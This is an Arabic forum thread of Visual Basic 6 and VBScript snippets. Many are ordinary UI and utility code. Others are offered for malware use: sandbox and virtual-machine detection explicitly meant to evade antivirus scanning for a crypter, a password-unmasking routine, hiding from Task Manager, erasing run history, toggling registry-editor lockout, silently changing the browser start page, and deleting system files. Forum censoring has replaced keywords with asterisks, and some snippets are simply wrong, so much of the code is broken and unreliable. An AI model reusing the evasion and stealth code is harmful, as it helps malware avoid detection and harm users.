If you have VB6.0 you can use the Replace Function to easily replace any Character(s) with something else, eg. Text2 = Replace(Text1, vbCrLf, "" & vbCrLf) Otherwise, you'll need to step though the Text yourself checking for instances of vbCrLf, e.g. code: Dim sString As String Dim sNewString As Strings String = Text1 While Instr(sString, vbCrLf) sNewString = sNewString & ****(sString, _ Instr(sString, vbCrLf) - 1) & "" & vbCrLf sString = Mid(sString, Instr(sString, vbCrLf) + 2) Wend Text2 = sNewString |
عندي كـــؤد تخطي مواقع الفحص ..
الي استخدمته في نفس البرنامج الي نزلته في : قسم الاختـــراااق - برنامج تشفيــــر <
هذا الكؤؤد المستخدم لـ تخطي مواقع الفحص
استثني في اضافه الكؤد : الـ
End Sub
End Class
لان الاضافه راح تكؤن على موديل -
اذا وشسمه [ افادك ] قيم
الي استخدمته في نفس البرنامج الي نزلته في : قسم الاختـــراااق - برنامج تشفيــــر <
هذا الكؤؤد المستخدم لـ تخطي مواقع الفحص
كود:
Option Explicit
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hObject As Long)
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Const TH32CS_SNAPPROCESS = &H2
Private Const MAX_PATH As Long = 260
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Function vm()
Dim oAdapters As Object
Dim oCard As Object
Dim SQL As String
' Abfrage erstellen
SQL = "SELECT * FROM Win32_VideoController"
Set oAdapters = GetObject("winmgmts:").ExecQuery(SQL)
' Auflisten aller Grafikadapter
For Each oCard In oAdapters
Select Case oCard.Description
Case "VM Additions S3 Trio32/64"
MsgBox "MS VPC with Additions found!", vbInformation
Case "S3 Trio32/64"
MsgBox "MS VPC without Additions found!", vbInformation
Case "VirtualBox Graphics Adapter"
MsgBox "VirtualBox with Additions found!", vbInformation
Case "VMware SVGA II"
MsgBox "VMWare with Additions found!", vbInformation
Case ""
MsgBox "VM found!", vbInformation
Case Else
MsgBox "I'm not running in a VM!", vbInformation
End Select
Next
End Function
Public Function Sandboxed() As Boolean
Dim nSnapshot As Long, nProcess As PROCESSENTRY32
Dim nResult As Long, ParentID As Long, IDCheck As Boolean
Dim nProcessID As Long
'Eigene ProcessID ermitteln
nProcessID = GetCurrentProcessId
If nProcessID <> 0 Then
'Abbild der Prozesse machen
nSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
If nSnapshot <> 0 Then
nProcess.dwSize = Len(nProcess)
'Zeiger auf ersten Prozess bewegen
nResult = ProcessFirst(nSnapshot, nProcess)
Do Until nResult = 0
'Nach der eigenen ProcessID suchen.
If nProcess.th32ProcessID = nProcessID Then
'Wir merken uns die ParentProcessID
ParentID = nProcess.th32ParentProcessID
'Wir beginnen nochmal beim ersten Prozess
nResult = ProcessFirst(nSnapshot, nProcess)
Do Until nResult = 0
'Wir suchen den Process mit der ParentID
If nProcess.th32ProcessID = ParentID Then
'Falls so ein Prozess vorhanden ist, dann ist das Programm nicht sandboxed
IDCheck = False
Exit Do
Else
IDCheck = True
nResult = ProcessNext(nSnapshot, nProcess)
End If
Loop
'Falls check True ist, dann ist das Programm Sandboxed
Sandboxed = IDCheck
Exit Do
Else
'Zum nchsten Prozess
nResult = ProcessNext(nSnapshot, nProcess)
End If
Loop
Handle wird geschloكen
CloseHandle nSnapshot
End If
End If
End Function
استثني في اضافه الكؤد : الـ
End Sub
End Class
لان الاضافه راح تكؤن على موديل -
اذا وشسمه [ افادك ] قيم
حذف اخر برامج تم تشغيلهإ .. الكؤد
كود رسم احداثي حركة الماوس
كؤد الريل بلإير :
-------------------------
اكؤاد الاله الحاسبه :
كود الضرب :
كؤد الطرح:
كؤد القسمه :
ننتبه اول شي . لـ التكست 1 ، 2 ، 3
-----
كؤد تغير الصفحة الرئيسيه :
وهذا مع نفس الكؤد حطه في اي محل .. في نفس الكوماند ..
لمعرفة رقم الاي بي : نضع الكود التالي في قسم التصريحات العامة General :
نضع الكود في زر أو في الفورم لود Form_Load :
كود لاعادة الريجيستري اديتور (regedit) الذي يضربه فايروس اوتورن :
تحفظ الملف بامتداد VBS. وليس بامتداد txt.
ملإحظـــــــة : النجـــؤم في الاكؤاد ************** = S h e l l
لي بـــإك
كود:
on error resume next
Dim Reg As Object
Set Reg = CreateObject("Wscript.****************l")
Reg.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\"
كود:
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Me.Cls Line (X, 0)-(X, Me.ScaleHeight), vbRed Line (0, Y)-(Me.ScaleWidth, Y), vbGreen End Sub
كؤد الريل بلإير :
كود:
Private Sub Command1_Click()
RealAudio1.SetSource "mms://208.43.81.152/radio"
RealAudio1.DoPlay
End Sub
اكؤاد الاله الحاسبه :
كود الضرب :
كود:
dim a as string dim b as string dim c as string a = text1.text b = text2.text c = a * b text3.text = c
كؤد الطرح:
dim a as string dim b as string dim c as string a = text1.text b = text2.text c = a - b text3.text = c |
كود:
dim a as string dim b as string dim c as string a = text1.text b = text2.text c = a \ b text3.text = c
-----
كؤد تغير الصفحة الرئيسيه :
كود:
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const REG_SZ = 1
Private Const HKEY_CURRENT_USER = &H80000001
Public Sub SaveString(hKey As Long, Path As String, Name As String, Data As String)
Dim KeyHandle As Long
Dim r As Long
r = RegCreateKey(hKey, Path, KeyHandle)
r = RegSetValueEx(KeyHandle, Name, 0, REG_SZ, ByVal Data, Len(Data))
r = RegCloseKey(KeyHandle)
End Sub
Public Sub SetStartPage(URL As String)
Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", URL)
End Sub
كود:
Private Sub Command1_Click()
SetStartPage ("http://www.dev-point.com")
End Sub
كود:
Private Const MAX_WSADescription = 256
Private Const MAX_WSASYSStatus = 128
Private Const ERROR_SUCCESS As Long = 0
Private Const WS_VERSION_REQD As Long = &H101
Private Const WS_VERSION_MAJOR As Long = _
WS_VERSION_REQD &H100 And &HFF&
Private Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&
Private Const MIN_SOCKETS_REQD As Long = 1
Private Const SOCKET_ERROR As Long = -1
Private Type HOSTENT
hName As Long
hAliases As Long
hAddrType As Integer
hLen As Integer
hAddrList As Long
End Type
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To MAX_WSADescription) As Byte
szSystemStatus(0 To MAX_WSASYSStatus) As Byte
wMaxSockets As Integer
wMaxUDPDG As Integer
dwVendorInfo As Long
End Type
Private Declare Function WSAGetLastError Lib "WSOCK32.DLL" () As Long
Private Declare Function WSAStartup Lib "WSOCK32.DLL" _
(ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long
Private Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long
Private Declare Function gethostname Lib "WSOCK32.DLL" _
(ByVal szHost As String, ByVal dwHostLen As Long) As Long
Private Declare Function gethostbyname Lib "WSOCK32.DLL" _
(ByVal szHost As String) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Private Function GetIPAddress() As String
Dim sHostName As String * 256
Dim lpHost As Long
Dim HOST As HOSTENT
Dim dwIPAddr As Long
Dim tmpIPAddr() As Byte
Dim i As Integer
Dim sIPAddr As String
If Not SocketsInitialize() Then
GetIPAddress = ""
Exit Function
End If
If gethostname(sHostName, 256) = SOCKET_ERROR Then
GetIPAddress = ""
MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & _
" has occurred. Unable to successfully get Host Name."
SocketsCleanup
Exit Function
End If
sHostName = Trim$(sHostName)
lpHost = gethostbyname(sHostName)
If lpHost = 0 Then
GetIPAddress = ""
MsgBox "Windows Sockets are not responding. " & _
"Unable to successfully get Host Name."
SocketsCleanup
Exit Function
End If
CopyMemory HOST, lpHost, Len(HOST)
CopyMemory dwIPAddr, HOST.hAddrList, 4
ReDim tmpIPAddr(1 To HOST.hLen)
CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLen
For i = 1 To HOST.hLen
sIPAddr = sIPAddr & tmpIPAddr(i) & "."
Next
GetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)
SocketsCleanup
End Function
Private Function GetIPHostName() As String
Dim sHostName As String * 256
If Not SocketsInitialize() Then
GetIPHostName = ""
Exit Function
End If
If gethostname(sHostName, 256) = SOCKET_ERROR Then
GetIPHostName = ""
MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & _
" has occurred. Unable to successfully get Host Name."
SocketsCleanup
Exit Function
End If
GetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)
SocketsCleanup
End Function
Private Function HiByte(ByVal wParam As Integer)
HiByte = wParam &H100 And &HFF&
End Function
Private Function LoByte(ByVal wParam As Integer)
LoByte = wParam And &HFF&
End Function
Private Sub SocketsCleanup()
If WSACleanup() <> ERROR_SUCCESS Then
MsgBox "Socket error occurred in Cleanup."
End If
End Sub
Private Function SocketsInitialize() As Boolean
Dim WSAD As WSADATA
Dim sLoByte As String
Dim sHiByte As String
If WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then
MsgBox "The 32-bit Windows Socket is not responding."
SocketsInitialize = False
Exit Function
End If
If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then
MsgBox "This application requires a minimum of " & _
CStr(MIN_SOCKETS_REQD) & " supported sockets."
SocketsInitialize = False
Exit Function
End If
If LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or _
(LoByte(WSAD.wVersion) = WS_VERSION_MAJOR And _
HiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then
sHiByte = CStr(HiByte(WSAD.wVersion))
sLoByte = CStr(LoByte(WSAD.wVersion))
MsgBox "Sockets version " & sLoByte & "." & sHiByte & _
" is not supported by 32-bit Windows Sockets."
SocketsInitialize = False
Exit Function
End If
SocketsInitialize = True
End Function
كود:
MsgBox "IP Host Name: " & GetIPHostName()
MsgBox "IP Address: " & GetIPAddress()
كود:
Option Explicit
'تعريف المتحولات ادناه
Dim AA, rr, rr2, MyBox, val, val2, ttl, toggle
Dim jobfunc, itemtype
On Error Resume Next
Set AA= WScript.CreateObject("WScript.****************l")
val = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
val2 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
itemtype = "REG_DWORD"
jobfunc = "محرر السجل -الريجيستري- الآن: "
ttl = "Result"
'تنفيد الاجراء المكتوب في فاليو.
rr = AA.RegRead (val)
rr2 = AA.RegRead (val2)
toggle=1
If (rr=1 or rr2=1) Then toggle=0
If toggle = 1 Then
AA.RegWrite val, 1, itemtype
AA.RegWrite val2, 1, itemtype
Mybox = MsgBox(jobfunc & "غير مفعل.", 4096, ttl)
Else
AA.RegDelete val
AA.RegDelete val2
Mybox = MsgBox(jobfunc & "مفعل.", 4096, ttl)
End If
ملإحظـــــــة : النجـــؤم في الاكؤاد ************** = S h e l l
لي بـــإك
كود تضعه في الفورم لود ليخفي برنامجك من إدارة المهام
عجبني ونقلتـه لكم
كود:
Private Sub Form_Load() App.TaskVisible = False
طريقة اضافة صوره الى textbox
- 1- أدرج Command Button
- 2- أدرج Text Box
- 3- أدرج Picture Box
الأن إذهب إلى خصائص Picture1 و إضغط على Picture و قم بتحديد أي صورة لديك
( يفضل أن تكون صورة صغيرة )
عدل خاصية Auto Size الخاصة بـ Picture1 إلى True
الآن ضع هذا الكود في الكومند:
Private Sub Command1_Click() Dim I, J As Long Dim Col As Long Dim DC As Long DC = GetDC(Text1.hwnd) For I = 1 To Picture1.Width - 1 For J = 1 To Picture1.Height - 1 Col = GetPixel(Picture1.hdc, I, J) SetPixel DC, 10 + I * 2, 10 + J * 2, Col Next Next End Sub |
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function SetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long |
الكود الاول
لتحريك الكلام في عنوان الفورم و مربع النص
لتنفيذه تحتاج
timer
**** box
الاتصال من خلال الاكواد
المطلوب
2 command
و اضافة ال active x الخاصة بالمودام
لمعرفة اسم الكمبيوتر
.................................................. ....................
لمعرفة اللون الذي يمر عليه الماوس
تحتاج
label box
الكود
لمعرفة نوع القرص (سيدي-صلب-قرص مرن)
المطلوب
****box
command button
=======================================
اخفاء شريط المهام
اخفاء ايقونات سطح المكتب واظهارها
اخفاء محتويات محرك الاقراص
تأجيل تنفيذ الكود لفترة معينة
حفظ ما يتغير في الفورم بعد اغلاقه
الوظيفة Split لمستخدمي الاصدار الخامس
توليد أرقام عشوائية
ايقونة البرنامج بجوار الشاشة
عرض الخطوط في قائمة منسدلة
فتح صفحه انترنت
نقل الملفات
حساب عدد السطور في ملف نصي
تغير خصايص الملف
حجم الملفات بلبايت
حذف الملف
انشاء ملف جديد
نسخ ملفات
انشاء مجلد جديد
معرفه معلومات عن القرص
==============
كود اخر
معرفة الوقت الذي مضى على تشغيل الويندوز (الوقت هنا بالملي ثانية)
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function GetTickCount Lib "Kernel32" () As Long
Private Sub Command1_Click()
MsgBox Format(GetTickCount, "0")
End Sub
--------------------------------------------------------------------------------
كود لمعرفة كلمات السر على هيئة نجوم *****
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Timer1_Timer()
Const EM_SETPASSWORDCHAR = &HCC
Dim coord As POINTAPI
'نقوم هنا بمعرفة احداثى الفأرة
s = GetCursorPos(coord)
x = coord.x
y = coord.y
'المكتوب بها كلمة المرور(****box)نقوم هنا بمعرفة مقبض آداة التحرير
h = WindowFromPoint(x, y)
'Char 0 الى (PasswordChar)فى هذه الخطوة نقوم بتعديل خاصية ال
Dim NewChar As Integer
NewChar = CLng(0)
retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0)
End Sub
--------------------------------------------------------------------------------
كود لاضافة بيانات حقل معين في قاعدة البيانات الى عنصر list
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Activate()
Dim a As String
Do While Not Data1.Recordset.EOF = True
a = Data1.Recordset.Fields("****").Value
' هنا تمثل اسم الحقل في قاعدة البيانات **** كلمة
List1.AddItem a
Data1.Recordset.MoveNext
Loop
End Sub
--------------------------------------------------------------------------------
كود يقوم بحماية برنامجك حيث يعمل عدد من المرات (تحددها بنفسك) ثم يتوقف نهائيا عن العمل ، وهو يشبه طريقة عمل الـ(register) في البرامج المشهورة
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Load()
retvalue = GetSetting("A", "0", "Runcount")
GD$ = Val(retvalue) + 1
SaveSetting "A", "0", "RunCount", GD$
If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل
MsgBox "انتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية"
Unload FRM '
End If
End Sub
--------------------------------------------------------------------------------
يقوم بتحويل شكل التكست واليبل الى 3d
*كود برمجي*
--------------------------------------------------------------------------------
'Set form's AutoRedraw property toTrue
Sub PaintControl3D(frm As Form, Ctl As Control)
' This Sub draws lines around controls to make them 3d
' darkgrey, upper - horizontal
frm.Line (Ctl.Left, Ctl.Top - 15)-(Ctl.Left + _
Ctl.*****, Ctl.Top - 15), &H808080, BF
' darkgrey, left - vertical
frm.Line (Ctl.Left - 15, Ctl.Top)-(Ctl.Left - 15, _
Ctl.Top + Ctl.******), &H808080, BF
' white, right - vertical
frm.Line (Ctl.Left + Ctl.*****, Ctl.Top)- _
(Ctl.Left + Ctl.*****, Ctl.Top + Ctl.******), &HFFFFFF, BF
' white, lower - horizontal
frm.Line (Ctl.Left, Ctl.Top + Ctl.******)- _
(Ctl.Left + Ctl.*****, Ctl.Top + Ctl.******), &HFFFFFF, BF
End Sub
Sub PaintForm3D(frm As Form)
' This Sub draws lines around the Form to make it 3d
' white, upper - horizontal
frm.Line (0, 0)-(frm.Scale*****, 0), &HFFFFFF, BF
' white, left - vertical
frm.Line (0, 0)-(0, frm.Scale******), &HFFFFFF, BF
' darkgrey, right - vertical
frm.Line (frm.Scale***** - 15, 0)-(frm.Scale***** - 15, _
frm.******), &H808080, BF
' darkgrey, lower - horizontal
frm.Line (0, frm.Scale****** - 15)-(frm.Scale*****, _
frm.Scale****** - 15), &H808080, BF
End Sub
'DEMO USAGE
'Add 1 label and 1 ****box
Private Sub Form_Load()
Me.AutoRedraw = True
PaintForm3D Me
PaintControl3D Me, Label1 'Label1 is **** of label
PaintControl3D Me, ****1 '****1 is **** of ****box
End Sub
ملاحظة في البداية لبد من انشاء تكست وليبل
--------------------------------------------------------------------------------
كود الاظهار النص بشكل عمودي
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Activate()
Dim s As String
For i = 1 To Len(Label1)
s = s & Mid$(Label1, i, 1) & vbCrLf
Next
Label1 = s
End Sub
--------------------------------------------------------------------------------
كود تستطيع من خلاله حذف اي ملف
*كود برمجي*
--------------------------------------------------------------------------------
قم بوضع هذا الكود في قسم جنرال
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFile**** As String, ByVal lpNewFile**** As String, ByVal bFailIfExists As Long) As Long
ومن ثم حدد سار الملف مثال
Private Sub Command1_Click()
dim x
x = DeleteFile("C:\WINDOWS\system\LZEXPAND.DLL")
--------------------------------------------------------------------------------
كود لاستدعاء ملف من نوع mid
*كود برمجي*
--------------------------------------------------------------------------------
قم بوضع اداة
mmcontrol1
m و
اجعل نامي
Private Sub Form_Load()
m.DeviceType = "sequencer"
m.File**** = ("e:\Holiday3.mid")
m.Command = "open"
m.Command = "play"
END SUB
--------------------------------------------------------------------------------
كود لتحميل فلاش من نوع SWF
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Load()
s.Movie = ("E:\Projects\Howl.swf")
End Sub
--------------------------------------------------------------------------------
كود لوضع مقطع الفيديو في بكتشر
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
MM.HWNDDISPLAY=PICTURE1.HWND
End Sub
--------------------------------------------------------------------------------
الزر الأيمن للماوس
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
IF BUTTON=2 THEN
msgbox "الزر الأيمن للماوس"
END IF
End Sub
--------------------------------------------------------------------------------
لكتابة بس ارقام في تكست بوكس
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub COMMAND1_CLICK()
DIM SS AS STRING
SS="123456789"
IF INSTR(SS,CHR(KEYASCII)=0 THEN
KEYASCII=0
END IF
End Sub
--------------------------------------------------------------------------------
عمل مسح ملفات للقرص المرن
*كود برمجي*
--------------------------------------------------------------------------------
kill"A:\*.*"
--------------------------------------------------------------------------------
عرض صندوق حوار Open With
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
Dim x As Long
x = ****************l("rundll32.exe ****************l32.dll,OpenAs_RunDLL C:\******.log")
End Sub
--------------------------------------------------------------------------------
حساب عدد سطور ملف نصى
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
Open "c:\autoexec.bat" For Input As #1
Count:
n = n + 1
Line Input #1, x
If EOF(1) Then
Label1.Caption = n
Exit Sub
Else
GoTo Count:
End If
Close
End Sub
--------------------------------------------------------------------------------
فحص المنافذ
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo opn:
Winsock1.LocalPort = ****1.****
Winsock1.Listen
****2.**** = "المنفذ غير مفتوح"
Winsock1.Close
Exit Sub
opn:
If Err.Number = 10048 Then
****2.**** = "المنفذ مفتوح"
Else
****2.**** = "يوجد مشكلة"
End If
Winsock1.Close
End Sub
--------------------------------------------------------------------------------
البرنامج يعمل على القرص المدمج (السيدي رووم) فقط
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
Private Sub Form_Load()
Dim driveType As Long
driveType = GetDriveType(Mid(App.Path, 1, 3))
If driveType <> 5 Then
'إنهاء البرنامج إذا كان لايشتغل من القرص المدمج
End
End If
End Sub
--------------------------------------------------------------------------------
هذا كود لتشفير وفك تشفير نص
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
For i = 1 To Len(****1.****)
st1 = Mid(****1.****, i, 1)
a = Asc(st1)
ch1 = Chr(255 - a)
st = st + ch1
Next
****1.**** = st
End Sub
--------------------------------------------------------------------------------
هذا الكود لإضافة عروض الفلاش لبرنامجك
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
Dim s As String
s = App.Path
If Mid(s, Len(s), 1) <> "\" Then s = s + "\"
ShockwaveFlash1.Movie = s + "a4.swf"
End Sub
--------------------------------------------------------------------------------
لإنهاء صلاحيات برنامجك التجريبي بعد30 يوماً فقط
*كود برمجي*
--------------------------------------------------------------------------------
Dim startdate As String
Dim differenceofdate
Dim TRACEDATE As String
Dim newdate
Dim chk
If GetSetting(App.Title, "Startup", "counter", "") = "" Then
SaveSetting App.Title, "Startup", "counter", 1
SaveSetting App.Title, "Startup", "Started", Format(Date, "mm dd yyyy")
SaveSetting App.Title, "Startup", "Last Used", Format(Date, "mm dd yyyy")
lblcnt.Caption = "1"
ElseIf GetSetting(App.Title, "Startup", "counter", "") = "31" Then
MsgBox "شكراً لستخدامك هذا البرنامج " & Chr(10) + Chr(1) & "الرجاء إيقاف عمل هذا البرنامج او سيتم فقدان كل المعلومات التي قمت بإدخالها ", vbCritical, "شكراً لك "
End
Else
TRACEDATE = GetSetting(App.Title, "Startup", "Last Used", "")
chk = DateDiff("d", CDate(TRACEDATE), Now)
If chk < 0 Then 'CHECK IF THE DATE WAS CHANGE which is lesser than the PREVIOUS DATE WHERE THE SYSTEM USED.
MsgBox "لم يتم العثور على تاريخ النظام لديك !! " & Chr(10) + Chr(13) & " الرجاء تغييرة الأن وإلا لن يكون بإمكانك إستخدام هذا البرنامج لاحقاً", vbCritical, "تاريخ مفقود"
End
Else
startdate = GetSetting(App.Title, "Startup", "Started", "")
differenceofdate = DateDiff("d", startdate, Now)
If differenceofdate <> 0 Then
lblcnt.Caption = differenceofdate + 1
SaveSetting App.Title, "Startup", "Last Used", Format(Now, "MM DD YYYY")
SaveSetting App.Title, "Startup", "counter", differenceofdate + 1
End If
If differenceofdate = 0 Then
lblcnt.Caption = GetSetting(App.Title, "Startup", "Counter", "")
End If
End If
End If
End Sub
--------------------------------------------------------------------------------
هذا الكود يمكنك من قلب الصور عمودياً أو افقيا او نسخها
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
'الوضع الطبيعي النسخ
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, 0, 0, _
Picture1.*****, Picture1.******, vbSrcCopy
End Sub
Private Sub Command2_Click()
'الوضع الافقي
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, Picture1.*****, _
0, -Picture1.*****, Picture1.******, vbSrcCopy
End Sub
Private Sub Command3_Click()
'الوضع العمودي
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, 0, Picture1.******, _
Picture1.*****, -Picture1.******, vbSrcCopy
End Sub
Private Sub Command4_Click()
'لقلب الصورة
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, Picture1.*****, _
Picture1.******, -Picture1.*****, -Picture1.******, vbSrcCopy
End Sub
--------------------------------------------------------------------------------
كود لنسخ خلفية سطح المكتب إلى نموذجك
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function PaintDesktop Lib "user32" _
(ByVal hdc As Long) As Long
'انسخ هذ الكودالى حدث النقر في زر الامر
Private Sub Command1_Click()
PaintDesktop Form1.hdc
End Sub
--------------------------------------------------------------------------------
تحويل اي حرف إلى حرف ASCII
*كود برمجي*
--------------------------------------------------------------------------------
Dim temp as String
temp=asc(****1.****)
MsgBox temp
--------------------------------------------------------------------------------
تحيه حسب الوقت
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Load()
If Time <= "11:30 AM" Then
MsgBox ("Good Morning Your****Here!")
End
End If
If Time > "11:30 AM" And Time < "5:00 PM" Then
MsgBox ("Good Afternoon Your****Here!")
End
End If
If Time > "5:00 PM" Then
MsgBox ("Good Evening Your****Here!")
End
End If
If Time >= "12:01 AM" Then
MsgBox ("Good Morning Your****Here!")
End
End If
End Sub
--------------------------------------------------------------------------------
نوعية القرص (قرص مرن،سي دي،.....)
*كود برمجي*
--------------------------------------------------------------------------------
'التصاريح
Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Const DRIVE_CDROM = 5
Public Const DRIVE_FIXED = 3
Public Const DRIVE_RAMDISK = 6
Public Const DRIVE_REMOTE = 4
Public Const DRIVE_REMOVABLE = 2
'الكود
Dim strDrive As String
Dim strMessage As String
Dim intCnt As Integer
For intCnt = 65 To 86
strDrive = Chr(intCnt)
Select Case GetDriveType(strDrive + ":\")
Case DRIVE_REMOVABLE
rtn = "Floppy Drive"
Case DRIVE_FIXED
rtn = "Hard Drive"
Case DRIVE_REMOTE
rtn = "Network Drive"
Case DRIVE_CDROM
rtn = "CD-ROM Drive"
Case DRIVE_RAMDISK
rtn = "RAM Disk"
Case Else
rtn = ""
End Select
If rtn <> "" Then
strMessage = strMessage & vbCrLf & "Drive " & strDrive & " is type: " & rtn
End If
Next intCnt
MsgBox (strMessage)
=================================
هناك بعض الكلمات المشفره و هي معروفة :
w e b
s h e l
n a m e
m e t a
...
و عذرا على التقصير
لتحريك الكلام في عنوان الفورم و مربع النص
لتنفيذه تحتاج
timer
**** box
كود:
Private str**** As String
Private Sub Form_Load()
Timer1.Interval = 75
str**** = "حط النص الى تريده هنا"
str**** = Space(50) & str****
End Sub
Private Sub Timer1_Timer()
str**** = Mid(str****, 2) & Left(str****, 1)
****1.**** = str****
Me.Caption = str****
End Sub
المطلوب
2 command
و اضافة ال active x الخاصة بالمودام
كود:
Private Sub Command1_Click() Dim PhoneNumber As String On Error GoTo WrongPort MSComm1.CommPort = 3 قم بتغير البورتات لتجد الرقم المناسب MSComm1.Settings = "300,n,8,1" PhoneNumber = "07770777" MSComm1.PortOpen = True MSComm1.OutPut = "ATDT" + PhoneNumber + Chr$(13) Exit Sub WrongPort: MsgBox "Title", 1048576 + 524288 + 16, "Prompt" End Sub
كود:
Private Sub Command2_Click() MSComm1.PortOpen = False End Sub Private Sub Form_Load() Command1.Caption = "&Connect" Command2.Caption = "&Disconnect" End Sub
.................................................. ....................
كود:
Private Const MAX_COMPUTER****_LENGTH As Long = 31 Private Declare Function GetComputer**** Lib "kernel32" Alias "GetComputer****A" (ByVal lpBuffer As String, nSize As Long) As Long Private Sub Form_Load() Dim dwLen As Long Dim strString As String 'Create a buffer dwLen = MAX_COMPUTER****_LENGTH + 1 strString = String(dwLen, "X") 'Get the computer **** GetComputer**** strString, dwLen 'get only the actual data strString = Left(strString, dwLen) 'Show the computer **** MsgBox strString End Sub
تحتاج
label box
الكود
كود:
Option Explicit
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Dim tPOS As POINTAPI
Dim sTmp As String
Dim lColor As Long
Dim lDC As Long
lDC = GetWindowDC(0)
Call GetCursorPos(tPOS)
lColor = GetPixel(lDC, tPOS.x, tPOS.y)
Label1.BackColor = lColor
sTmp = Right$("000000" & Hex(lColor), 6)
Caption = "R:" & Right$(sTmp, 2) & " G:" & Mid$(sTmp, 3, 2) & " B:" & Left$(sTmp, 2)
End Sub
المطلوب
****box
